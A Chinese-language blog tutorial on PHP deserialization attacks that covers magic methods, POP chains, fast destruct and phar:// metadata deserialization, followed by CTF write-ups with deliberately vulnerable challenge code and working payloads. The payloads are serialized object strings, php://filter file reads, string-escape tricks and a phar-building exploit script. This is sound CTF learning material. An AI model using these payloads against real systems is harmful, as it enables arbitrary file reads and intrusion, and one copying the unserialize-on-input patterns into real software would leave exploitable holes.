反序列化


基础知识

php的序列化和反序列化主要是通过serialize和unserialize两个函数

serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象,对反序列化进行利用也主要是通过其中的魔术方法

几个常见的魔术方法

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用不可访问的属性的时候会自动执行(私有,或不存在)
__isset()在不可访问的属性上调用isset()或empty()触发
__invoke()	当尝试把对象当方法调用时调用。
__unset()在不可访问的属性上使用unset()时触发

格式

O:4:"Test":2:{s:1:"a";s:5:"Hello";s:1:"b";i:20;}
类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

private类型有隐藏的空格符

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

POP链简介

借鉴的文章:

php反序列化利用——POP链构造实例 - 简书 (jianshu.com)

(1条消息) PHP反序列化—构造POP链_Lemon's blog-CSDN博客_php反序列化pop链

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

POP链利用技巧

1、一些有用的POP链中出现的方法:

- 命令执行:exec()、passthru()、popen()、system()、eval()
- 文件操作:file_put_contents()、file_get_contents()、unlink()

2、反序列化中为了避免信息丢失,使用大写S支持字符串的编码。PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use\72";

3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4、配合PHP伪协议实现文件包含、命令执行等漏洞。

fast destruct

1、PHP中,如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

2、PHP中,如果用一个变量接住反序列化函数的返回值,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,那么在PHP脚本走完流程之后,这个对象才会被销毁,在有析构函数的情况下就会将其执行。

fast destruct就是为了解决第二个问题的,让反序列化提前执行。

方法就是破坏反序列化后数据的结构,导致提前进入destruct方法

应用场景:

<?php

error_reporting(0);

class superGate{
    public $gay = true;

    function __destruct(){
        echo file_get_contents("/flag");
        die();
    }
}

$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
    echo "no";
    throw Exception();
}

show_source(__FILE__);

如果正常进行序列化,在调用__destruct之前,我们序列化的内容就以及被if判断给抛出异常了

具体实现:

1.采用数组的方式(感觉局限性很大

<?php

error_reporting(0);

class superGate{
    public $gay = true;

    function __destruct(){
        echo 1111;
//        die();
    }
}
class a{
    public $gay = true;
}

//$p = 'O:9:"superGate":1:{s:3:"gay";b:1;}';
//$q = serialize(array(0 => new superGate(),1=>new a(),3=>''));#得到结果之后把索引改了,这样在反序列化的时候会因为有两个一样的索引,导致覆盖前边的内容,让前边的内容提前销毁
//echo $q;
$honey = unserialize('a:3:{i:0;O:9:"superGate":1:{s:3:"gay";b:1;}i:0;O:1:"a":1:{s:3:"gay";b:1;}i:3;s:0:"";}');
if(preg_match("/superGate/i", serialize($honey))){
    echo "no";
    throw Exception();
}

2.

破坏序列化结构,比如修改个数,或者去掉最后边的一个大括号

__PHP_Incomplete_Class

在PHP中,当我们在反序列化一个不存在的类时,就比如这个a:3:{i:0;O:9:"superGate":1:{s:3:"gay";b:1;}i:1;O:1:"a":1:{s:3:"gay";b:1;}i:3;s:0:"";}

结果会变为

image-20230410212601861

类名被__PHP_Incomplete_Class 代替了,而原有的类名被存放到了__PHP_Incomplete_Class_Name里

可是如果这时候再将这个内容进行序列化

得到的还是正常格式的序列化字符串a:3:{i:0;O:9:"superGate":1:{s:3:"gay";b:1;}i:1;O:1:"a":1:{s:3:"gay";b:1;}i:3;s:0:"";}

可是假设我们构造的payload是a:1:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"abc";s:5:"aaaaa";}}

那么在反序列化时得到的结果就是

image-20230410214158351

这时候再进行二次序列化得到的就变成了a:1:{i:0;O:22:"__PHP_Incomplete_Class":0:{}}由于没有找到__PHP_Incomplete_Class_Name绑定的类名,所以后边的东西被丢弃了

例题

强网杯2021 WhereIsUWebShell

利用phar协议实现反序列化漏洞攻击

漏洞成因

phar文件会以序列化的形式存储用户自定义的meta-data;该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

原理分析

phar的组成

通过查阅手册发现phar由四部分组成;翻阅手册可以知道,phar由四个部分组成,分别是stub、manifest describing the contents、 the file contents、 [optional] a signature for verifying Phar integrity (phar file format only) 下面进行解释一下;

1 .0 a stub

标识作用,格式为

xxx<?php xxx; __HALT_COMPILER();?>

,前面任意,但是一定要以__HALT_COMPILER();?>结尾,否则php无法识别这是一个phar文件;

2 .0

a manifest describing the contents

其实可以理解为phar文件本质上是一中压缩文件,其中包含有压缩信息和权限,当然我们需要利用的序列化也在里面;

425be1b3b3df9e7799bbae0ade22b5ac.png

3 .0 the file contents

这里指的是被压缩文件的内容;

4 .0 [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在结尾;

wp

(这里放一下自己做过的反序列化题,持续更新.jpg

[ZJCTF 2019]NiZhuanSiWei

image-20210501204543745

看见file_get_contents(),利用伪协议data://text/plain;base64绕过

再利用php://filter读取useless内的内容

解码后

image-20210501183046395

可知flag在flag.php中

试图让file=flag.php

看到unserialize函数,利用php反序列化

构造payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210501205224647

查看源码找到flag

image-20210501205239104

[极客大挑战 2019]PHP

页面中提示有备份文件,御剑扫一遍

找到存在www.zip

image-20210501220739803

重点在class.php和index.php中

image-20210501220309908

image-20210501220857753

所以要传入一个select参数,利用反序列化让username=admin

password=100

因为username和password两个为private类型

所以有隐藏的空格符

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}"

image-20210501220212731

[MRCTF2020]Ezpop

题目源码

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

题目里出现的魔术变量

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

这里可以看出来首先要get进一个pop值,并进行反序列化,所以就会调用__wakeup()这个方法_

__wakeup()中里利用preg_match对传入的值进行过滤,但如果this->source是show类,就会调用__toString

这里会返回$this->str->source,但如果没有source这个属性,接下来就会调用__get(),然后会将对象调用为函数,

这里也就会触发__invoke(),进而调用append

在append的中存在include,所以可以利用文件包含漏洞读到flag

image-20210704003613462

payload

(自己写一个还是有点困难

<?php

class Modifier
{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}

class Show
{
    public $source;
    public $str;

    public function __construct($file)
    {
        $this->source = $file;
    }

}

class Test
{
    public $p;
}

$a = new Show('aaa');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

base64解码拿到flag

image-20210704003713873

CODE REVIEW

image-20210705135850186

代码审计可以看出这里首先要先get进pleaseget=1然后post进pleasepost,md51,md52和obj四个值,而obj这里存在反序列化的漏洞

且当if($this->correct === $this->input)成立时就会打印出flag

这里同时要求传入的md51和md52的md5值相等,且自身不相等,由于md5不能处理数组,所以传入数组的返回值都为null

而因为$this->correct这里进行了编码,所以要使if语句成立在构造payload时可以采用引用赋值的方法

构造payload

image-20210705141338826

//uniqid() :函数基于以微秒计的当前时间,生成一个唯一的 ID。

//传值赋值:变量默认总是传值赋值。那也就是说,当将一个表达式的值赋予一个变量时,整个原始表达式的值被赋值到目标变量。这意味着,例如,当一个变量的值赋予另外一个变量时,改变其中一个变量的值,将不会影响到另外一个变量。

//引用赋值:PHP 也提供了另外一种方式给变量赋值:引用赋值。这意味着新的变量简单的引用(换言之,“成为其别名” 或者 “指向”)了原始变量。改动新的变量将影响到原始变量,反之亦然。

所以最终payload为

get内容为:?pleaseget=1

post内容为:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

拿到flag

image-20210705141616910

[网鼎杯 2020 青龙组]AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看到unserialize可以很容易想到反序列化,源码里还有file_get_contents,所以猜测这题是利用反序列化通过文件包含读取flag,利用php://filter来造成任意文件读取

在传入后还存在一个is__valid()函数的过滤,要求传入内容的ascii码在32到123之内

之后进行反序列化,由于要利用file_get_contents()读取flag,并将其打印出来,所以需要让op=2,执行read()中的内容

构造payload

image-20210705150325057

这里因为protect进行反序列化时会出现特殊符号,导致无法通过is__valid函数的过滤,可以利用对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

(刚开始给op赋了个字符型的“2”,找错找了半天。。。

拿到flag

image-20210705150240715

接下来base64解码就可以拿到flag了

image-20210705150647307

[安洵杯 2019]easy_serialize_php

代码审计

<?php

$function = @$_GET['f'];

function filter($img){
  $filter_arr = array('php','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));
  }

phpinfo里有东西,可以先看看

image-20210812234826151

接下来我们应该开始想怎么让

base64_decode($userinfo['img'])的值等于flag的文件名

知识点

  • 反序列化中的对象逃逸
  • extract()变量覆盖

extract()变量覆盖

image-20210813004733910

但是这里我们不能直接给img赋值,因为img赋值发生在extract之后

反序列化中的对象逃逸

键值逃逸

  • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
  • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。

image-20210813005203142

接下来是构造payload的部分

首先我们需要构造img属性:

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";

其中的ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果然后在这个属性前面随便加上个序列化字符串(只要是合法的就行),比如:

;s:1:“1”;
;s:2:“10”;
;s:3:“100”;

所以payload可以为:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

session中存在phpflag的原因是由于filter函数会将匹配到的值变为空,而phpflag的长度刚好为7

为7的原因

image-20210813010634981

但是添加了filter函数来进行过滤之后

image-20210813010753030

原来的内容变为了

a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

能成功实现读取flag所在文件的命令

post后

image-20210813011013959

对/d0g3_fllllllag进行base64编码后为L2QwZzNfZmxsbGxsbGFn

所以直接把原来的编码替换掉就行

image-20210813011156367

看是看懂了,但我还是想不到这种payload。。。

参考文章

安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计_若丶时光破灭的博客-CSDN博客

https://www.cnblogs.com/h3zh1/p/12732336.html

[0CTF 2016]piapiapia

进入后是个登录页面,本来以为是sql注入,试了一下发现没能成功,扫目录扫到www.zip备份文件

image-20210903163607732

image-20210903132345413

访问一下register.php注册个账户就可以登录了

image-20210903163626344

再看其他的内容

profile.php

<?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
      die('Login First');    
   }
   $username = $_SESSION['username'];
   $profile=$user->show_profile($username);
   if($profile  == null) {
      header('Location: update.php');
   }
   else {
      $profile = unserialize($profile);
      $phone = $profile['phone'];
      $email = $profile['email'];
      $nickname = $profile['nickname'];
      $photo = base64_encode(file_get_contents($profile['photo']));
?>

class.php

<?php
require('config.php');

class user extends mysql{
   private $table = 'users';

   public function is_exists($username) {
      $username = parent::filter($username);

      $where = "username = '$username'";
      return parent::select($this->table, $where);
   }
   public function register($username, $password) {
      $username = parent::filter($username);
      $password = parent::filter($password);

      $key_list = Array('username', 'password');
      $value_list = Array($username, md5($password));
      return parent::insert($this->table, $key_list, $value_list);
   }
   public function login($username, $password) {
      $username = parent::filter($username);
      $password = parent::filter($password);

      $where = "username = '$username'";
      $object = parent::select($this->table, $where);
      if ($object && $object->password === md5($password)) {
         return true;
      } else {
         return false;
      }
   }
   public function show_profile($username) {
      $username = parent::filter($username);

      $where = "username = '$username'";
      $object = parent::select($this->table, $where);
      return $object->profile;
   }
   public function update_profile($username, $new_profile) {
      $username = parent::filter($username);
      $new_profile = parent::filter($new_profile);

      $where = "username = '$username'";
      return parent::update($this->table, 'profile', $new_profile, $where);
   }
   public function __tostring() {
      return __class__;
   }
}

class mysql {
   private $link = null;

   public function connect($config) {
      $this->link = mysql_connect(
         $config['hostname'],
         $config['username'], 
         $config['password']
      );
      mysql_select_db($config['database']);
      mysql_query("SET sql_mode='strict_all_tables'");

      return $this->link;
   }

   public function select($table, $where, $ret = '*') {
      $sql = "SELECT $ret FROM $table WHERE $where";
      $result = mysql_query($sql, $this->link);
      return mysql_fetch_object($result);
   }

   public function insert($table, $key_list, $value_list) {
      $key = implode(',', $key_list);
      $value = '\'' . implode('\',\'', $value_list) . '\''; 
      $sql = "INSERT INTO $table ($key) VALUES ($value)";
      return mysql_query($sql);
   }

   public function update($table, $key, $value, $where) {
      $sql = "UPDATE $table SET $key = '$value' WHERE $where";
      return mysql_query($sql);
   }

   public function filter($string) {
      $escape = array('\'', '\\\\');
      $escape = '/' . implode('|', $escape) . '/';
      $string = preg_replace($escape, '_', $string);

      $safe = array('select', 'insert', 'update', 'delete', 'where');
      $safe = '/' . implode('|', $safe) . '/i';
      return preg_replace($safe, 'hacker', $string);
   }
   public function __tostring() {
      return __class__;
   }
}
session_start();
$user = new user();
$user->connect($config);

update.php

<?php
   require_once('class.php');
   if($_SESSION['username'] == null) {
      die('Login First');    
   }
   if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

      $username = $_SESSION['username'];
      if(!preg_match('/^\d{11}$/', $_POST['phone']))
         die('Invalid phone');

      if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
         die('Invalid email');
      
      if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
         die('Invalid nickname');

      $file = $_FILES['photo'];
      if($file['size'] < 5 or $file['size'] > 1000000)
         die('Photo size error');

      move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
      $profile['phone'] = $_POST['phone'];
      $profile['email'] = $_POST['email'];
      $profile['nickname'] = $_POST['nickname'];
      $profile['photo'] = 'upload/' . md5($file['name']);

      $user->update_profile($username, serialize($profile));
      echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
   }
   else {
?>

config.php

<?php
   $config['hostname'] = '127.0.0.1';
   $config['username'] = 'root';
   $config['password'] = '';
   $config['database'] = '';
   $flag = '';
?>

profile里有个file_get_content函数可能有文件读取漏洞,而flag在config.php中,就要让photo=config.php,这里可以利用前边的$profile = unserialize($profile);

所以再根据

$safe = array('select', 'insert', 'update', 'delete', 'where');
     $safe = '/' . implode('|', $safe) . '/i';
     return preg_replace($safe, 'hacker', $string);
  }

可以进行反序列化字符逃逸

image-20210903162948758

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这里这个过滤可以利用抓包将nickename改成数组类型来绕过,由于成数组了,所以才要在where后边加个;}

image-20210903163055572

image-20220516175618670

看一下这个your profile页面

image-20210903163211494

看一下这个图片的源码,是个base64加密的内容,进行解密后可以得到flag

image-20210903163313640

image-20210903163322131

[SWPUCTF 2018]SimplePHP

文件上传,但是这个flie参数感觉可以直接文件读取

image-20211125203202419

index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

class.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

image-20211125204709437

肯定是用这个函数来读取flag文件,但是没有反序列化的地方

所以这里要用phar反序列化

C1e4r类中有__destruct(),

__destruct()是PHP中的析构方法,在对象被销毁时被调用,程序结束时会被自动调用销毁对象。

函数中发现了echo,那么要利用echo $this->test。

show类有__toString(),

__toString方法在将一个对象转化成字符串时被自动调用,比如进行echo,print操作时会被调用并返回一个字符串。

利用$this->str['str']->source;

Test类有__get()

__get()当未定义的属性或没有权限访问的属性被访问时该方法会被调用。

利用 $this->get --> $this->file_get($value); -->base64_encode(file_get_contents($value));

利用C1e4r类的__destruct()中的echo this->test
2.触发Show类的__toString()
3.利用Show类的this->test2.触发Show类的__toString()3.利用Show类的content = $this->str['str']->source4.触发Test类的__get()5.成功利用file_get()`读文件

反序列化结果

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a ->str = $b;
$b ->str['str'] = $c;
$c ->params['source'] = '/var/www/html/f1ag.php';


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

生成phar文件后,改个后缀上传就行,phar的文件不管什么后缀都会直接执行

image-20211125235333537

看上传的文件(也可以根据源码推文件名,然后利用phar://协议访问

image-20211125235401120

得到flag

image-20211125235433599

小tips:如果phar协议被过滤,可以试试用

compress.bzip2://phar://    版本:7.4 +
compress.zlib://phar:///    版本:都可以
php://filter/resource=phar://

文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录